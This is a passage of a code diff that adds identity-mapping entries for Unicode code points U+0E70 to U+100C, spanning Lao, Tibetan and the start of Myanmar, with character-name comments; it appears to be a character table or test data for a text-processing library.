+ ["\u0E70", "\u0E70"],
+ ["\u0E71", "\u0E71"],
+ ["\u0E72", "\u0E72"],
+ ["\u0E73", "\u0E73"],
+ ["\u0E74", "\u0E74"],
+ ["\u0E75", "\u0E75"],
+ ["\u0E76", "\u0E76"],
+ ["\u0E77", "\u0E77"],
+ ["\u0E78", "\u0E78"],
+ ["\u0E79", "\u0E79"],
+ ["\u0E7A", "\u0E7A"],
+ ["\u0E7B", "\u0E7B"],
+ ["\u0E7C", "\u0E7C"],
+ ["\u0E7D", "\u0E7D"],
+ ["\u0E7E", "\u0E7E"],
+ ["\u0E7F", "\u0E7F"],
+ ["\u0E80", "\u0E80"],
+ ["\u0E81", "\u0E81"], /* LAO LETTER KO */
+ ["\u0E82", "\u0E82"], /* LAO LETTER KHO SUNG */
+ ["\u0E83", "\u0E83"],
+ ["\u0E84", "\u0E84"], /* LAO LETTER KHO TAM */
+ ["\u0E85", "\u0E85"],
+ ["\u0E86", "\u0E86"], /* LAO LETTER PALI GHA */
+ ["\u0E87", "\u0E87"], /* LAO LETTER NGO */
+ ["\u0E88", "\u0E88"], /* LAO LETTER CO */
+ ["\u0E89", "\u0E89"], /* LAO LETTER PALI CHA */
+ ["\u0E8A", "\u0E8A"], /* LAO LETTER SO TAM */
+ ["\u0E8B", "\u0E8B"],
+ ["\u0E8C", "\u0E8C"], /* LAO LETTER PALI JHA */
+ ["\u0E8D", "\u0E8D"], /* LAO LETTER NYO */
+ ["\u0E8E", "\u0E8E"], /* LAO LETTER PALI NYA */
+ ["\u0E8F", "\u0E8F"], /* LAO LETTER PALI TTA */
+ ["\u0E90", "\u0E90"], /* LAO LETTER PALI TTHA */
+ ["\u0E91", "\u0E91"], /* LAO LETTER PALI DDA */
+ ["\u0E92", "\u0E92"], /* LAO LETTER PALI DDHA */
+ ["\u0E93", "\u0E93"], /* LAO LETTER PALI NNA */
+ ["\u0E94", "\u0E94"], /* LAO LETTER DO */
+ ["\u0E95", "\u0E95"], /* LAO LETTER TO */
+ ["\u0E96", "\u0E96"], /* LAO LETTER THO SUNG */
+ ["\u0E97", "\u0E97"], /* LAO LETTER THO TAM */
+ ["\u0E98", "\u0E98"], /* LAO LETTER PALI DHA */
+ ["\u0E99", "\u0E99"], /* LAO LETTER NO */
+ ["\u0E9A", "\u0E9A"], /* LAO LETTER BO */
+ ["\u0E9B", "\u0E9B"], /* LAO LETTER PO */
+ ["\u0E9C", "\u0E9C"], /* LAO LETTER PHO SUNG */
+ ["\u0E9D", "\u0E9D"], /* LAO LETTER FO TAM */
+ ["\u0E9E", "\u0E9E"], /* LAO LETTER PHO TAM */
+ ["\u0E9F", "\u0E9F"], /* LAO LETTER FO SUNG */
+ ["\u0EA0", "\u0EA0"], /* LAO LETTER PALI BHA */
+ ["\u0EA1", "\u0EA1"], /* LAO LETTER MO */
+ ["\u0EA2", "\u0EA2"], /* LAO LETTER YO */
+ ["\u0EA3", "\u0EA3"], /* LAO LETTER LO LING */
+ ["\u0EA4", "\u0EA4"],
+ ["\u0EA5", "\u0EA5"], /* LAO LETTER LO LOOT */
+ ["\u0EA6", "\u0EA6"],
+ ["\u0EA7", "\u0EA7"], /* LAO LETTER WO */
+ ["\u0EA8", "\u0EA8"], /* LAO LETTER SANSKRIT SHA */
+ ["\u0EA9", "\u0EA9"], /* LAO LETTER SANSKRIT SSA */
+ ["\u0EAA", "\u0EAA"], /* LAO LETTER SO SUNG */
+ ["\u0EAB", "\u0EAB"], /* LAO LETTER HO SUNG */
+ ["\u0EAC", "\u0EAC"], /* LAO LETTER PALI LLA */
+ ["\u0EAD", "\u0EAD"], /* LAO LETTER O */
+ ["\u0EAE", "\u0EAE"], /* LAO LETTER HO TAM */
+ ["\u0EAF", "\u0EAF"], /* LAO ELLIPSIS */
+ ["\u0EB0", "\u0EB0"], /* LAO VOWEL SIGN A */
+ ["\u0EB1", "\u0EB1"], /* LAO VOWEL SIGN MAI KAN */
+ ["\u0EB2", "\u0EB2"], /* LAO VOWEL SIGN AA */
+ ["\u0EB3", "\u0EB3"], /* LAO VOWEL SIGN AM */
+ ["\u0EB4", "\u0EB4"], /* LAO VOWEL SIGN I */
+ ["\u0EB5", "\u0EB5"], /* LAO VOWEL SIGN II */
+ ["\u0EB6", "\u0EB6"], /* LAO VOWEL SIGN Y */
+ ["\u0EB7", "\u0EB7"], /* LAO VOWEL SIGN YY */
+ ["\u0EB8", "\u0EB8"], /* LAO VOWEL SIGN U */
+ ["\u0EB9", "\u0EB9"], /* LAO VOWEL SIGN UU */
+ ["\u0EBA", "\u0EBA"], /* LAO SIGN PALI VIRAMA */
+ ["\u0EBB", "\u0EBB"], /* LAO VOWEL SIGN MAI KON */
+ ["\u0EBC", "\u0EBC"], /* LAO SEMIVOWEL SIGN LO */
+ ["\u0EBD", "\u0EBD"], /* LAO SEMIVOWEL SIGN NYO */
+ ["\u0EBE", "\u0EBE"],
+ ["\u0EBF", "\u0EBF"],
+ ["\u0EC0", "\u0EC0"], /* LAO VOWEL SIGN E */
+ ["\u0EC1", "\u0EC1"], /* LAO VOWEL SIGN EI */
+ ["\u0EC2", "\u0EC2"], /* LAO VOWEL SIGN O */
+ ["\u0EC3", "\u0EC3"], /* LAO VOWEL SIGN AY */
+ ["\u0EC4", "\u0EC4"], /* LAO VOWEL SIGN AI */
+ ["\u0EC5", "\u0EC5"],
+ ["\u0EC6", "\u0EC6"], /* LAO KO LA */
+ ["\u0EC7", "\u0EC7"],
+ ["\u0EC8", "\u0EC8"], /* LAO TONE MAI EK */
+ ["\u0EC9", "\u0EC9"], /* LAO TONE MAI THO */
+ ["\u0ECA", "\u0ECA"], /* LAO TONE MAI TI */
+ ["\u0ECB", "\u0ECB"], /* LAO TONE MAI CATAWA */
+ ["\u0ECC", "\u0ECC"], /* LAO CANCELLATION MARK */
+ ["\u0ECD", "\u0ECD"], /* LAO NIGGAHITA */
+ ["\u0ECE", "\u0ECE"], /* LAO YAMAKKAN */
+ ["\u0ECF", "\u0ECF"],
+ ["\u0ED0", "\u0ED0"], /* LAO DIGIT ZERO */
+ ["\u0ED1", "\u0ED1"], /* LAO DIGIT ONE */
+ ["\u0ED2", "\u0ED2"], /* LAO DIGIT TWO */
+ ["\u0ED3", "\u0ED3"], /* LAO DIGIT THREE */
+ ["\u0ED4", "\u0ED4"], /* LAO DIGIT FOUR */
+ ["\u0ED5", "\u0ED5"], /* LAO DIGIT FIVE */
+ ["\u0ED6", "\u0ED6"], /* LAO DIGIT SIX */
+ ["\u0ED7", "\u0ED7"], /* LAO DIGIT SEVEN */
+ ["\u0ED8", "\u0ED8"], /* LAO DIGIT EIGHT */
+ ["\u0ED9", "\u0ED9"], /* LAO DIGIT NINE */
+ ["\u0EDA", "\u0EDA"],
+ ["\u0EDB", "\u0EDB"],
+ ["\u0EDC", "\u0EDC"], /* LAO HO NO */
+ ["\u0EDD", "\u0EDD"], /* LAO HO MO */
+ ["\u0EDE", "\u0EDE"], /* LAO LETTER KHMU GO */
+ ["\u0EDF", "\u0EDF"], /* LAO LETTER KHMU NYO */
+ ["\u0EE0", "\u0EE0"],
+ ["\u0EE1", "\u0EE1"],
+ ["\u0EE2", "\u0EE2"],
+ ["\u0EE3", "\u0EE3"],
+ ["\u0EE4", "\u0EE4"],
+ ["\u0EE5", "\u0EE5"],
+ ["\u0EE6", "\u0EE6"],
+ ["\u0EE7", "\u0EE7"],
+ ["\u0EE8", "\u0EE8"],
+ ["\u0EE9", "\u0EE9"],
+ ["\u0EEA", "\u0EEA"],
+ ["\u0EEB", "\u0EEB"],
+ ["\u0EEC", "\u0EEC"],
+ ["\u0EED", "\u0EED"],
+ ["\u0EEE", "\u0EEE"],
+ ["\u0EEF", "\u0EEF"],
+ ["\u0EF0", "\u0EF0"],
+ ["\u0EF1", "\u0EF1"],
+ ["\u0EF2", "\u0EF2"],
+ ["\u0EF3", "\u0EF3"],
+ ["\u0EF4", "\u0EF4"],
+ ["\u0EF5", "\u0EF5"],
+ ["\u0EF6", "\u0EF6"],
+ ["\u0EF7", "\u0EF7"],
+ ["\u0EF8", "\u0EF8"],
+ ["\u0EF9", "\u0EF9"],
+ ["\u0EFA", "\u0EFA"],
+ ["\u0EFB", "\u0EFB"],
+ ["\u0EFC", "\u0EFC"],
+ ["\u0EFD", "\u0EFD"],
+ ["\u0EFE", "\u0EFE"],
+ ["\u0EFF", "\u0EFF"],
+ ["\u0F00", "\u0F00"], /* TIBETAN SYLLABLE OM */
+ ["\u0F01", "\u0F01"], /* TIBETAN MARK GTER YIG MGO TRUNCATED A */
+ ["\u0F02", "\u0F02"], /* TIBETAN MARK GTER YIG MGO -UM RNAM BCAD MA */
+ ["\u0F03", "\u0F03"], /* TIBETAN MARK GTER YIG MGO -UM GTER TSHEG MA */
+ ["\u0F04", "\u0F04"], /* TIBETAN MARK INITIAL YIG MGO MDUN MA (TIBETAN SINGLE ORNAMENT) */
+ ["\u0F05", "\u0F05"], /* TIBETAN MARK CLOSING YIG MGO SGAB MA */
+ ["\u0F06", "\u0F06"], /* TIBETAN MARK CARET YIG MGO PHUR SHAD MA */
+ ["\u0F07", "\u0F07"], /* TIBETAN MARK YIG MGO TSHEG SHAD MA */
+ ["\u0F08", "\u0F08"], /* TIBETAN MARK SBRUL SHAD (TIBETAN RGYANSHAD) */
+ ["\u0F09", "\u0F09"], /* TIBETAN MARK BSKUR YIG MGO */
+ ["\u0F0A", "\u0F0A"], /* TIBETAN MARK BKA- SHOG YIG MGO */
+ ["\u0F0B", "\u0F0B"], /* TIBETAN MARK INTERSYLLABIC TSHEG (TIBETAN TSEG) */
+ ["\u0F0C", "\u0F0C"], /* TIBETAN MARK DELIMITER TSHEG BSTAR */
+ ["\u0F0D", "\u0F0D"], /* TIBETAN MARK SHAD (TIBETAN SHAD) */
+ ["\u0F0E", "\u0F0E"], /* TIBETAN MARK NYIS SHAD (TIBETAN DOUBLE SHAD) */
+ ["\u0F0F", "\u0F0F"], /* TIBETAN MARK TSHEG SHAD */
+ ["\u0F10", "\u0F10"], /* TIBETAN MARK NYIS TSHEG SHAD */
+ ["\u0F11", "\u0F11"], /* TIBETAN MARK RIN CHEN SPUNGS SHAD (TIBETAN RINCHANPHUNGSHAD) */
+ ["\u0F12", "\u0F12"], /* TIBETAN MARK RGYA GRAM SHAD */
+ ["\u0F13", "\u0F13"], /* TIBETAN MARK CARET -DZUD RTAGS ME LONG CAN */
+ ["\u0F14", "\u0F14"], /* TIBETAN MARK GTER TSHEG (TIBETAN COMMA) */
+ ["\u0F15", "\u0F15"], /* TIBETAN LOGOTYPE SIGN CHAD RTAGS */
+ ["\u0F16", "\u0F16"], /* TIBETAN LOGOTYPE SIGN LHAG RTAGS */
+ ["\u0F17", "\u0F17"], /* TIBETAN ASTROLOGICAL SIGN SGRA GCAN -CHAR RTAGS */
+ ["\u0F18", "\u0F18"], /* TIBETAN ASTROLOGICAL SIGN -KHYUD PA */
+ ["\u0F19", "\u0F19"], /* TIBETAN ASTROLOGICAL SIGN SDONG TSHUGS */
+ ["\u0F1A", "\u0F1A"], /* TIBETAN SIGN RDEL DKAR GCIG */
+ ["\u0F1B", "\u0F1B"], /* TIBETAN SIGN RDEL DKAR GNYIS */
+ ["\u0F1C", "\u0F1C"], /* TIBETAN SIGN RDEL DKAR GSUM */
+ ["\u0F1D", "\u0F1D"], /* TIBETAN SIGN RDEL NAG GCIG */
+ ["\u0F1E", "\u0F1E"], /* TIBETAN SIGN RDEL NAG GNYIS */
+ ["\u0F1F", "\u0F1F"], /* TIBETAN SIGN RDEL DKAR RDEL NAG */
+ ["\u0F20", "\u0F20"], /* TIBETAN DIGIT ZERO */
+ ["\u0F21", "\u0F21"], /* TIBETAN DIGIT ONE */
+ ["\u0F22", "\u0F22"], /* TIBETAN DIGIT TWO */
+ ["\u0F23", "\u0F23"], /* TIBETAN DIGIT THREE */
+ ["\u0F24", "\u0F24"], /* TIBETAN DIGIT FOUR */
+ ["\u0F25", "\u0F25"], /* TIBETAN DIGIT FIVE */
+ ["\u0F26", "\u0F26"], /* TIBETAN DIGIT SIX */
+ ["\u0F27", "\u0F27"], /* TIBETAN DIGIT SEVEN */
+ ["\u0F28", "\u0F28"], /* TIBETAN DIGIT EIGHT */
+ ["\u0F29", "\u0F29"], /* TIBETAN DIGIT NINE */
+ ["\u0F2A", "\u0F2A"], /* TIBETAN DIGIT HALF ONE */
+ ["\u0F2B", "\u0F2B"], /* TIBETAN DIGIT HALF TWO */
+ ["\u0F2C", "\u0F2C"], /* TIBETAN DIGIT HALF THREE */
+ ["\u0F2D", "\u0F2D"], /* TIBETAN DIGIT HALF FOUR */
+ ["\u0F2E", "\u0F2E"], /* TIBETAN DIGIT HALF FIVE */
+ ["\u0F2F", "\u0F2F"], /* TIBETAN DIGIT HALF SIX */
+ ["\u0F30", "\u0F30"], /* TIBETAN DIGIT HALF SEVEN */
+ ["\u0F31", "\u0F31"], /* TIBETAN DIGIT HALF EIGHT */
+ ["\u0F32", "\u0F32"], /* TIBETAN DIGIT HALF NINE */
+ ["\u0F33", "\u0F33"], /* TIBETAN DIGIT HALF ZERO */
+ ["\u0F34", "\u0F34"], /* TIBETAN MARK BSDUS RTAGS */
+ ["\u0F35", "\u0F35"], /* TIBETAN MARK NGAS BZUNG NYI ZLA (TIBETAN HONORIFIC UNDER RING) */
+ ["\u0F36", "\u0F36"], /* TIBETAN MARK CARET -DZUD RTAGS BZHI MIG CAN */
+ ["\u0F37", "\u0F37"], /* TIBETAN MARK NGAS BZUNG SGOR RTAGS (TIBETAN UNDER RING) */
+ ["\u0F38", "\u0F38"], /* TIBETAN MARK CHE MGO */
+ ["\u0F39", "\u0F39"], /* TIBETAN MARK TSA -PHRU (TIBETAN LENITION MARK) */
+ ["\u0F3A", "\u0F3A"], /* TIBETAN MARK GUG RTAGS GYON */
+ ["\u0F3B", "\u0F3B"], /* TIBETAN MARK GUG RTAGS GYAS */
+ ["\u0F3C", "\u0F3C"], /* TIBETAN MARK ANG KHANG GYON (TIBETAN LEFT BRACE) */
+ ["\u0F3D", "\u0F3D"], /* TIBETAN MARK ANG KHANG GYAS (TIBETAN RIGHT BRACE) */
+ ["\u0F3E", "\u0F3E"], /* TIBETAN SIGN YAR TSHES */
+ ["\u0F3F", "\u0F3F"], /* TIBETAN SIGN MAR TSHES */
+ ["\u0F40", "\u0F40"], /* TIBETAN LETTER KA */
+ ["\u0F41", "\u0F41"], /* TIBETAN LETTER KHA */
+ ["\u0F42", "\u0F42"], /* TIBETAN LETTER GA */
+ ["\u0F43", "\u0F43"], /* TIBETAN LETTER GHA */
+ ["\u0F44", "\u0F44"], /* TIBETAN LETTER NGA */
+ ["\u0F45", "\u0F45"], /* TIBETAN LETTER CA */
+ ["\u0F46", "\u0F46"], /* TIBETAN LETTER CHA */
+ ["\u0F47", "\u0F47"], /* TIBETAN LETTER JA */
+ ["\u0F48", "\u0F48"],
+ ["\u0F49", "\u0F49"], /* TIBETAN LETTER NYA */
+ ["\u0F4A", "\u0F4A"], /* TIBETAN LETTER TTA (TIBETAN LETTER REVERSED TA) */
+ ["\u0F4B", "\u0F4B"], /* TIBETAN LETTER TTHA (TIBETAN LETTER REVERSED THA) */
+ ["\u0F4C", "\u0F4C"], /* TIBETAN LETTER DDA (TIBETAN LETTER REVERSED DA) */
+ ["\u0F4D", "\u0F4D"], /* TIBETAN LETTER DDHA */
+ ["\u0F4E", "\u0F4E"], /* TIBETAN LETTER NNA (TIBETAN LETTER REVERSED NA) */
+ ["\u0F4F", "\u0F4F"], /* TIBETAN LETTER TA */
+ ["\u0F50", "\u0F50"], /* TIBETAN LETTER THA */
+ ["\u0F51", "\u0F51"], /* TIBETAN LETTER DA */
+ ["\u0F52", "\u0F52"], /* TIBETAN LETTER DHA */
+ ["\u0F53", "\u0F53"], /* TIBETAN LETTER NA */
+ ["\u0F54", "\u0F54"], /* TIBETAN LETTER PA */
+ ["\u0F55", "\u0F55"], /* TIBETAN LETTER PHA */
+ ["\u0F56", "\u0F56"], /* TIBETAN LETTER BA */
+ ["\u0F57", "\u0F57"], /* TIBETAN LETTER BHA */
+ ["\u0F58", "\u0F58"], /* TIBETAN LETTER MA */
+ ["\u0F59", "\u0F59"], /* TIBETAN LETTER TSA */
+ ["\u0F5A", "\u0F5A"], /* TIBETAN LETTER TSHA */
+ ["\u0F5B", "\u0F5B"], /* TIBETAN LETTER DZA */
+ ["\u0F5C", "\u0F5C"], /* TIBETAN LETTER DZHA */
+ ["\u0F5D", "\u0F5D"], /* TIBETAN LETTER WA */
+ ["\u0F5E", "\u0F5E"], /* TIBETAN LETTER ZHA */
+ ["\u0F5F", "\u0F5F"], /* TIBETAN LETTER ZA */
+ ["\u0F60", "\u0F60"], /* TIBETAN LETTER -A (TIBETAN LETTER AA) */
+ ["\u0F61", "\u0F61"], /* TIBETAN LETTER YA */
+ ["\u0F62", "\u0F62"], /* TIBETAN LETTER RA */
+ ["\u0F63", "\u0F63"], /* TIBETAN LETTER LA */
+ ["\u0F64", "\u0F64"], /* TIBETAN LETTER SHA */
+ ["\u0F65", "\u0F65"], /* TIBETAN LETTER SSA (TIBETAN LETTER REVERSED SHA) */
+ ["\u0F66", "\u0F66"], /* TIBETAN LETTER SA */
+ ["\u0F67", "\u0F67"], /* TIBETAN LETTER HA */
+ ["\u0F68", "\u0F68"], /* TIBETAN LETTER A */
+ ["\u0F69", "\u0F69"], /* TIBETAN LETTER KSSA */
+ ["\u0F6A", "\u0F6A"], /* TIBETAN LETTER FIXED-FORM RA */
+ ["\u0F6B", "\u0F6B"], /* TIBETAN LETTER KKA */
+ ["\u0F6C", "\u0F6C"], /* TIBETAN LETTER RRA */
+ ["\u0F6D", "\u0F6D"],
+ ["\u0F6E", "\u0F6E"],
+ ["\u0F6F", "\u0F6F"],
+ ["\u0F70", "\u0F70"],
+ ["\u0F71", "\u0F71"], /* TIBETAN VOWEL SIGN AA */
+ ["\u0F72", "\u0F72"], /* TIBETAN VOWEL SIGN I */
+ ["\u0F73", "\u0F73"], /* TIBETAN VOWEL SIGN II */
+ ["\u0F74", "\u0F74"], /* TIBETAN VOWEL SIGN U */
+ ["\u0F75", "\u0F75"], /* TIBETAN VOWEL SIGN UU */
+ ["\u0F76", "\u0F76"], /* TIBETAN VOWEL SIGN VOCALIC R */
+ ["\u0F77", "\u0F77"], /* TIBETAN VOWEL SIGN VOCALIC RR */
+ ["\u0F78", "\u0F78"], /* TIBETAN VOWEL SIGN VOCALIC L */
+ ["\u0F79", "\u0F79"], /* TIBETAN VOWEL SIGN VOCALIC LL */
+ ["\u0F7A", "\u0F7A"], /* TIBETAN VOWEL SIGN E */
+ ["\u0F7B", "\u0F7B"], /* TIBETAN VOWEL SIGN EE (TIBETAN VOWEL SIGN AI) */
+ ["\u0F7C", "\u0F7C"], /* TIBETAN VOWEL SIGN O */
+ ["\u0F7D", "\u0F7D"], /* TIBETAN VOWEL SIGN OO (TIBETAN VOWEL SIGN AU) */
+ ["\u0F7E", "\u0F7E"], /* TIBETAN SIGN RJES SU NGA RO (TIBETAN ANUSVARA) */
+ ["\u0F7F", "\u0F7F"], /* TIBETAN SIGN RNAM BCAD (TIBETAN VISARGA) */
+ ["\u0F80", "\u0F80"], /* TIBETAN VOWEL SIGN REVERSED I (TIBETAN VOWEL SIGN SHORT I) */
+ ["\u0F81", "\u0F81"], /* TIBETAN VOWEL SIGN REVERSED II */
+ ["\u0F82", "\u0F82"], /* TIBETAN SIGN NYI ZLA NAA DA (TIBETAN CANDRABINDU WITH ORNAMENT) */
+ ["\u0F83", "\u0F83"], /* TIBETAN SIGN SNA LDAN (TIBETAN CANDRABINDU) */
+ ["\u0F84", "\u0F84"], /* TIBETAN MARK HALANTA (TIBETAN VIRAMA) */
+ ["\u0F85", "\u0F85"], /* TIBETAN MARK PALUTA (TIBETAN CHUCHENYIGE) */
+ ["\u0F86", "\u0F86"], /* TIBETAN SIGN LCI RTAGS */
+ ["\u0F87", "\u0F87"], /* TIBETAN SIGN YANG RTAGS */
+ ["\u0F88", "\u0F88"], /* TIBETAN SIGN LCE TSA CAN */
+ ["\u0F89", "\u0F89"], /* TIBETAN SIGN MCHU CAN */
+ ["\u0F8A", "\u0F8A"], /* TIBETAN SIGN GRU CAN RGYINGS */
+ ["\u0F8B", "\u0F8B"], /* TIBETAN SIGN GRU MED RGYINGS */
+ ["\u0F8C", "\u0F8C"], /* TIBETAN SIGN INVERTED MCHU CAN */
+ ["\u0F8D", "\u0F8D"], /* TIBETAN SUBJOINED SIGN LCE TSA CAN */
+ ["\u0F8E", "\u0F8E"], /* TIBETAN SUBJOINED SIGN MCHU CAN */
+ ["\u0F8F", "\u0F8F"], /* TIBETAN SUBJOINED SIGN INVERTED MCHU CAN */
+ ["\u0F90", "\u0F90"], /* TIBETAN SUBJOINED LETTER KA */
+ ["\u0F91", "\u0F91"], /* TIBETAN SUBJOINED LETTER KHA */
+ ["\u0F92", "\u0F92"], /* TIBETAN SUBJOINED LETTER GA */
+ ["\u0F93", "\u0F93"], /* TIBETAN SUBJOINED LETTER GHA */
+ ["\u0F94", "\u0F94"], /* TIBETAN SUBJOINED LETTER NGA */
+ ["\u0F95", "\u0F95"], /* TIBETAN SUBJOINED LETTER CA */
+ ["\u0F96", "\u0F96"], /* TIBETAN SUBJOINED LETTER CHA */
+ ["\u0F97", "\u0F97"], /* TIBETAN SUBJOINED LETTER JA */
+ ["\u0F98", "\u0F98"],
+ ["\u0F99", "\u0F99"], /* TIBETAN SUBJOINED LETTER NYA */
+ ["\u0F9A", "\u0F9A"], /* TIBETAN SUBJOINED LETTER TTA */
+ ["\u0F9B", "\u0F9B"], /* TIBETAN SUBJOINED LETTER TTHA */
+ ["\u0F9C", "\u0F9C"], /* TIBETAN SUBJOINED LETTER DDA */
+ ["\u0F9D", "\u0F9D"], /* TIBETAN SUBJOINED LETTER DDHA */
+ ["\u0F9E", "\u0F9E"], /* TIBETAN SUBJOINED LETTER NNA */
+ ["\u0F9F", "\u0F9F"], /* TIBETAN SUBJOINED LETTER TA */
+ ["\u0FA0", "\u0FA0"], /* TIBETAN SUBJOINED LETTER THA */
+ ["\u0FA1", "\u0FA1"], /* TIBETAN SUBJOINED LETTER DA */
+ ["\u0FA2", "\u0FA2"], /* TIBETAN SUBJOINED LETTER DHA */
+ ["\u0FA3", "\u0FA3"], /* TIBETAN SUBJOINED LETTER NA */
+ ["\u0FA4", "\u0FA4"], /* TIBETAN SUBJOINED LETTER PA */
+ ["\u0FA5", "\u0FA5"], /* TIBETAN SUBJOINED LETTER PHA */
+ ["\u0FA6", "\u0FA6"], /* TIBETAN SUBJOINED LETTER BA */
+ ["\u0FA7", "\u0FA7"], /* TIBETAN SUBJOINED LETTER BHA */
+ ["\u0FA8", "\u0FA8"], /* TIBETAN SUBJOINED LETTER MA */
+ ["\u0FA9", "\u0FA9"], /* TIBETAN SUBJOINED LETTER TSA */
+ ["\u0FAA", "\u0FAA"], /* TIBETAN SUBJOINED LETTER TSHA */
+ ["\u0FAB", "\u0FAB"], /* TIBETAN SUBJOINED LETTER DZA */
+ ["\u0FAC", "\u0FAC"], /* TIBETAN SUBJOINED LETTER DZHA */
+ ["\u0FAD", "\u0FAD"], /* TIBETAN SUBJOINED LETTER WA */
+ ["\u0FAE", "\u0FAE"], /* TIBETAN SUBJOINED LETTER ZHA */
+ ["\u0FAF", "\u0FAF"], /* TIBETAN SUBJOINED LETTER ZA */
+ ["\u0FB0", "\u0FB0"], /* TIBETAN SUBJOINED LETTER -A */
+ ["\u0FB1", "\u0FB1"], /* TIBETAN SUBJOINED LETTER YA */
+ ["\u0FB2", "\u0FB2"], /* TIBETAN SUBJOINED LETTER RA */
+ ["\u0FB3", "\u0FB3"], /* TIBETAN SUBJOINED LETTER LA */
+ ["\u0FB4", "\u0FB4"], /* TIBETAN SUBJOINED LETTER SHA */
+ ["\u0FB5", "\u0FB5"], /* TIBETAN SUBJOINED LETTER SSA */
+ ["\u0FB6", "\u0FB6"], /* TIBETAN SUBJOINED LETTER SA */
+ ["\u0FB7", "\u0FB7"], /* TIBETAN SUBJOINED LETTER HA */
+ ["\u0FB8", "\u0FB8"], /* TIBETAN SUBJOINED LETTER A */
+ ["\u0FB9", "\u0FB9"], /* TIBETAN SUBJOINED LETTER KSSA */
+ ["\u0FBA", "\u0FBA"], /* TIBETAN SUBJOINED LETTER FIXED-FORM WA */
+ ["\u0FBB", "\u0FBB"], /* TIBETAN SUBJOINED LETTER FIXED-FORM YA */
+ ["\u0FBC", "\u0FBC"], /* TIBETAN SUBJOINED LETTER FIXED-FORM RA */
+ ["\u0FBD", "\u0FBD"],
+ ["\u0FBE", "\u0FBE"], /* TIBETAN KU RU KHA */
+ ["\u0FBF", "\u0FBF"], /* TIBETAN KU RU KHA BZHI MIG CAN */
+ ["\u0FC0", "\u0FC0"], /* TIBETAN CANTILLATION SIGN HEAVY BEAT */
+ ["\u0FC1", "\u0FC1"], /* TIBETAN CANTILLATION SIGN LIGHT BEAT */
+ ["\u0FC2", "\u0FC2"], /* TIBETAN CANTILLATION SIGN CANG TE-U */
+ ["\u0FC3", "\u0FC3"], /* TIBETAN CANTILLATION SIGN SBUB -CHAL */
+ ["\u0FC4", "\u0FC4"], /* TIBETAN SYMBOL DRIL BU */
+ ["\u0FC5", "\u0FC5"], /* TIBETAN SYMBOL RDO RJE */
+ ["\u0FC6", "\u0FC6"], /* TIBETAN SYMBOL PADMA GDAN */
+ ["\u0FC7", "\u0FC7"], /* TIBETAN SYMBOL RDO RJE RGYA GRAM */
+ ["\u0FC8", "\u0FC8"], /* TIBETAN SYMBOL PHUR PA */
+ ["\u0FC9", "\u0FC9"], /* TIBETAN SYMBOL NOR BU */
+ ["\u0FCA", "\u0FCA"], /* TIBETAN SYMBOL NOR BU NYIS -KHYIL */
+ ["\u0FCB", "\u0FCB"], /* TIBETAN SYMBOL NOR BU GSUM -KHYIL */
+ ["\u0FCC", "\u0FCC"], /* TIBETAN SYMBOL NOR BU BZHI -KHYIL */
+ ["\u0FCD", "\u0FCD"],
+ ["\u0FCE", "\u0FCE"], /* TIBETAN SIGN RDEL NAG RDEL DKAR */
+ ["\u0FCF", "\u0FCF"], /* TIBETAN SIGN RDEL NAG GSUM */
+ ["\u0FD0", "\u0FD0"], /* TIBETAN MARK BSKA- SHOG GI MGO RGYAN */
+ ["\u0FD1", "\u0FD1"], /* TIBETAN MARK MNYAM YIG GI MGO RGYAN */
+ ["\u0FD2", "\u0FD2"], /* TIBETAN MARK NYIS TSHEG */
+ ["\u0FD3", "\u0FD3"], /* TIBETAN MARK INITIAL BRDA RNYING YIG MGO MDUN MA */
+ ["\u0FD4", "\u0FD4"], /* TIBETAN MARK CLOSING BRDA RNYING YIG MGO SGAB MA */
+ ["\u0FD5", "\u0FD5"], /* RIGHT-FACING SVASTI SIGN */
+ ["\u0FD6", "\u0FD6"], /* LEFT-FACING SVASTI SIGN */
+ ["\u0FD7", "\u0FD7"], /* RIGHT-FACING SVASTI SIGN WITH DOTS */
+ ["\u0FD8", "\u0FD8"], /* LEFT-FACING SVASTI SIGN WITH DOTS */
+ ["\u0FD9", "\u0FD9"], /* TIBETAN MARK LEADING MCHAN RTAGS */
+ ["\u0FDA", "\u0FDA"], /* TIBETAN MARK TRAILING MCHAN RTAGS */
+ ["\u0FDB", "\u0FDB"],
+ ["\u0FDC", "\u0FDC"],
+ ["\u0FDD", "\u0FDD"],
+ ["\u0FDE", "\u0FDE"],
+ ["\u0FDF", "\u0FDF"],
+ ["\u0FE0", "\u0FE0"],
+ ["\u0FE1", "\u0FE1"],
+ ["\u0FE2", "\u0FE2"],
+ ["\u0FE3", "\u0FE3"],
+ ["\u0FE4", "\u0FE4"],
+ ["\u0FE5", "\u0FE5"],
+ ["\u0FE6", "\u0FE6"],
+ ["\u0FE7", "\u0FE7"],
+ ["\u0FE8", "\u0FE8"],
+ ["\u0FE9", "\u0FE9"],
+ ["\u0FEA", "\u0FEA"],
+ ["\u0FEB", "\u0FEB"],
+ ["\u0FEC", "\u0FEC"],
+ ["\u0FED", "\u0FED"],
+ ["\u0FEE", "\u0FEE"],
+ ["\u0FEF", "\u0FEF"],
+ ["\u0FF0", "\u0FF0"],
+ ["\u0FF1", "\u0FF1"],
+ ["\u0FF2", "\u0FF2"],
+ ["\u0FF3", "\u0FF3"],
+ ["\u0FF4", "\u0FF4"],
+ ["\u0FF5", "\u0FF5"],
+ ["\u0FF6", "\u0FF6"],
+ ["\u0FF7", "\u0FF7"],
+ ["\u0FF8", "\u0FF8"],
+ ["\u0FF9", "\u0FF9"],
+ ["\u0FFA", "\u0FFA"],
+ ["\u0FFB", "\u0FFB"],
+ ["\u0FFC", "\u0FFC"],
+ ["\u0FFD", "\u0FFD"],
+ ["\u0FFE", "\u0FFE"],
+ ["\u0FFF", "\u0FFF"],
+ ["\u1000", "\u1000"], /* MYANMAR LETTER KA */
+ ["\u1001", "\u1001"], /* MYANMAR LETTER KHA */
+ ["\u1002", "\u1002"], /* MYANMAR LETTER GA */
+ ["\u1003", "\u1003"], /* MYANMAR LETTER GHA */
+ ["\u1004", "\u1004"], /* MYANMAR LETTER NGA */
+ ["\u1005", "\u1005"], /* MYANMAR LETTER CA */
+ ["\u1006", "\u1006"], /* MYANMAR LETTER CHA */
+ ["\u1007", "\u1007"], /* MYANMAR LETTER JA */
+ ["\u1008", "\u1008"], /* MYANMAR LETTER JHA */
+ ["\u1009", "\u1009"], /* MYANMAR LETTER NYA */
+ ["\u100A", "\u100A"], /* MYANMAR LETTER NNYA */
+ ["\u100B", "\u100B"], /* MYANMAR LETTER TTA */
+ ["\u100C", "\u100C"], /* MYANMAR LETTER TTHA */
